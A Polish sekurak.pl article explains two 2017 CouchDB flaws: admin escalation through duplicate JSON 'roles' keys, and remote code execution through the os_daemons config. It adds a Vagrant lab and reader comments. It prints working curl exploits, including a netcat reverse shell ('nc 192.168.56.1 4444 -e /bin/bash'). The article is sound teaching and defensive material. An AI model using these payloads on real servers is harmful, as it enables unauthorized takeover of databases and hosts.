Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
CouchDB – podniesienie uprawnień i zdalne wykonanie kodu
Systemy informatyczne gromadzą i przetwarzają coraz więcej danych. Utrzymujący się tej w dziedzinie trend powoduje, że z czasem w złożoności struktur danych oraz możliwości wiązania danych relacjami w bazach SQL, zaczęto upatrywać niepotrzebny narzut wydajnościowy. Wprost przełożyło się to na wzrost popularności baz typu NoSQL. Prosta struktura danych, brak relacji, główne założenia to przesunięta do granic możliwości wydajność oraz skalowalność całego systemu. Po cichu liczono również, że NoSQL oznaczać będzie “nie” dla większości problemów bezpieczeństwa znanych z baz relacyjnych; patrz chociażby SQL Injection. Jak bardzo była to płonna wizja można przekonać się analizując m.in ostatnie doniesienia o podatnościach wykrytych w bazie CouchDB. 7 listopada wydana została nowa wersja tego oprogramowania. Tydzień później zespół CouchDB poinformował o szczegółach wykrytych błędów. Opublikowana została informacja o dwóch podatnościach oznaczonych numerami CVE-2017-12635 oraz CVE-2017-12636. Pierwsza z nich pozwala na nieautoryzowane podniesienie uprawnień; druga związana jest z możliwością zdalnego wykonywania kodu.
Źródło problemu – trudna sztuka parsowania danych
Silnik bazy napisany jest w Erlang. Za obsługę danych w formacie JSON odpowiada tam biblioteka jiffy. Do budowania zapytań do bazy, interakcji z nią oraz walidację danych wykorzystywany jest jednak JavaScript. Aby zdać sobie sprawę z nieprzyjemnych konsekwencji takiego podziału obowiązków można prześledzić sposób, w jaki oba te środowiska przetworzoną identyczny zestaw danych w formacie JSON (Listing nr 1, Listing nr 2).
3> jiffy:decode("{\"sekurak\":\"1\", \"sekurak\":\"2\"}"). {[{<<"sekurak">>,<<"1">>},{<<"sekurak">>,<<"2">>}]}
> JSON.parse('{"sekurak":"1", "sekurak": "2"}') {sekurak: "2"}
Erlang utworzy dokument z dwoma kluczami “sekurak”. JavaScript zachowa się jednak inaczej. Pierwsze wystąpienie klucza zostanie nadpisane drugim.
Takie zachowanie nabiera znaczenia gdy zdamy sobie sprawę w jaki sposób w CouchDB wyzwalana jest akcja dodawania do bazy nowego użytkownika (Listing nr 3).
curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:sekurak' --data-binary '{ "type": "user", "name": "sekurak", "roles": ["_admin"], "roles": [], "password": "password" }'
Najważniejszy fragment payloadu to występujący dwukrotnie klucz roles. CouchDB posiada zabezpieczenie w postaci funkcji validate_doc_update, która waliduje czy nie nastąpiła nieautoryzowana próba dodania do bazy użytkownika o uprawnieniach administracyjnych. Problem polega jednak na tym, że w pierwszym kroku JSON zostanie przetworzony z wykorzystaniem JavaScript, co powoduje, że zastosowane zabezpieczenie nie będzie efektywne. Funkcja validate_doc_update już na wejściu otrzyma JSON pozbawiony pierwszego wystąpienia klucza roles, a co za tym idzie “nie zauważy” próby wstrzyknięcia.
W bazie danych zapisany zostanie jednak dokument zarówno z kluczem roles, do którego przypisana została wartość _admin, jak i tym zawierającym pusty ciąg znaków. CouchDB zostało zaprogramowane tak, że w przypadku gdy w dokumencie pojawią się dwa identyczne klucze pod uwagę wzięty zostanie tylko ten pierwszy.
Podsumowując, różnice w parsowaniu JSON doprowadziły do tego, że wysyłając proste zapytanie z podwójnym wystąpieniem jednego z kluczy, możliwe jest obejście warstwy walidacji danych oraz dodanie do bazy użytkownika o najwyższych uprawnieniach.
Danie główne
Możliwość zdobycia najwyższych uprawnień w bazie to jednak nie koniec problemów. Posiadając dostęp do bazy z uprawnieniami administracyjnymi możemy do woli modyfikować jej konfigurację. W sieci możemy znaleźć informacje z których wynika, że dostęp o uprawnieniach administracyjnych pozwala na przejście do zdalnego wykonywania komend m.in. poprzez mechanizm Query Servers. Wymaga to utworzenia nowej bazy, stworzenia definicji języka zapytań a następnie wyzwolenia odpowiedniej akcji wyszukiwania. Po krótkiej lekturze dokumentacji CouchDB możemy jednak dojść do wniosku, że istnieją prostsze sposoby na doprowadzenie do RCE.
Jedna z sekcji dokumentacji CouchDB traktuje o “External Processes”. Konfiguracja bazy pozwala na zdefiniowanie ścieżki do pliku wykonywalnego, który będzie monitorowany przez CouchDB. Po dodaniu takiej opcji baza przyjmie rolę nadzorcy. Jeżeli wskazany w konfiguracji proces przestanie działać, baza podejmie próbę jego ponownego uruchomienia. Wydaje się, że jest to idealne miejsce na wstrzyknięcie złośliwego kodu.
Dodanie zadania do External Processes odbywa się poprzez wysłanie odpowiedniego zapytania PUT (Listing nr 4).
curl -X PUT http://sekurak:password@localhost:5984/_node/couchdb@localhost/_config/os_daemons/daemon_name --data '"nc 192.168.56.1 4444 -e /bin/bash"'
Payload, czyli polecenie do wykonania na serwerze na którym uruchomiona jest baza CouchDB, znajduje się w ciele zapytania. Widzimy tam wywołanie netcata, który ma podłączyć się do maszyny 192.168.56.1 na port 4444, a następnie przekierować do tego adresu lokalną powłokę systemową. Przygotowany payload jest więc niczym innym niż standardowym reverse shellem. Możemy więc spróbować uruchomić na naszej lokalnej maszynie netcata w trybie nasłuchiwania, tak by oczekiwał połączeń na porcie 4444 (Rysunek nr 1)
Chwilę po uruchomieniu polecenia curl z przygotowanym wcześniej payloadem, nasłuchujący netcat otrzyma połączenie przychodzące (Rysunek nr 2)
Wygląda na to, że uzyskaliśmy dostęp do powłoki systemowej serwera, na którym uruchomiona jest baza CouchDB.
Wnioski i zalecenia
Analizując źródło problemu jaki zaistniał w CouchDB należy wysnuć wniosek, że parsowanie danych to nadal zadanie najzwyczajniej w świecie trudne, a które zlekceważone, może narazić projekt na poważne ryzyko. Skoro tylko wykorzystanie dwóch różnych parserów, bądź co bądź, prostego formatu danych jakim jest JSON, doprowadziło to tak poważnych konsekwencji, włos na głowie się jeży na myśl co ciekawego może czekać na poszukiwaczy błędów w aplikacjach, które wykorzystują więcej niż jeden parser XML.
Zaleca się oczywiście aktualizację bazy do najnowszej dostępnej wersji – 2.1.1 lub 1.7.1.
Trening
Zdobyta wiedza teoretyczna zostanie z nami dłużej, jeżeli poświęcimy kilka chwil na jej utrwalenie poprzez ćwiczenia praktyczne. Aby nie tracić cennego czasu na przygotowywanie środowiska testowego proponujemy skorzystać z poniższego gotowca dla Vagranta (Listing nr 5).
# -*- mode: ruby -*- $script = <<SCRIPT apt-get update apt-get -y install build-essential pkg-config erlang libicu-dev libmozjs185-dev libcurl4-openssl-dev curl apt-transport-https wget https://apache.bintray.com/couchdb-deb/pool/C/CouchDB/couchdb_2.1.0~jessie_amd64.deb -O couchdb.deb apt-get -y -f install python-requests python-urllib3 SCRIPT Vagrant.configure(2) do |config| config.vm.box = "debian/jessie64" config.vm.network :forwarded_port, guest_host: "127.0.0.1", guest: 5984, host: 5984, host_ip: "127.0.0.1" config.vm.provision :shell, inline: $script end
Po wydaniu polecenia vagrant up pobrany zostanie i wstępnie skonfigurowany system Debian. Gdy ten proces się zakończy musimy wydać następujące polecenia:
vagrant ssh dpkg -i couchdb.deb
Na etapie instalacji CouchDB zostaniemy poproszeni o wybranie typu instalacji, interfejsu na którym ma nasłuchiwać baza oraz hasła administratora. Wybierzmy odpowiednio opcje standalone, interfejs 0.0.0.0 oraz dowolne hasło administratora. Jeżeli wszystko pójdzie dobrze, baza CouchDB będzie dostępna pod adresem localhost:5984.
piochu, legalnie atakuje systemy w Securitum.
Hmmm:
„Utrzymujący się tej w dziedzinie trend”
…hmmmm.
Wlos sie jezy ze jednym wpisem na stronie mozna by wykonywac nie uprawnione polecenia.
… a jeszcze bardziej może zjeżyć się tutaj: zwykłym wyszukiwaniem można było do niedawna wykonać kod w OS (Solr): https://sekurak.pl/apache-solr-prosta-mozliwosc-wykonania-dowolnego-kodu-os-na-serwerze/
Super pomysł z tą sekcją „Trening”. Znacznie skraca czas przygotowania środowiska i ułatwia testowanie. Oby częściej!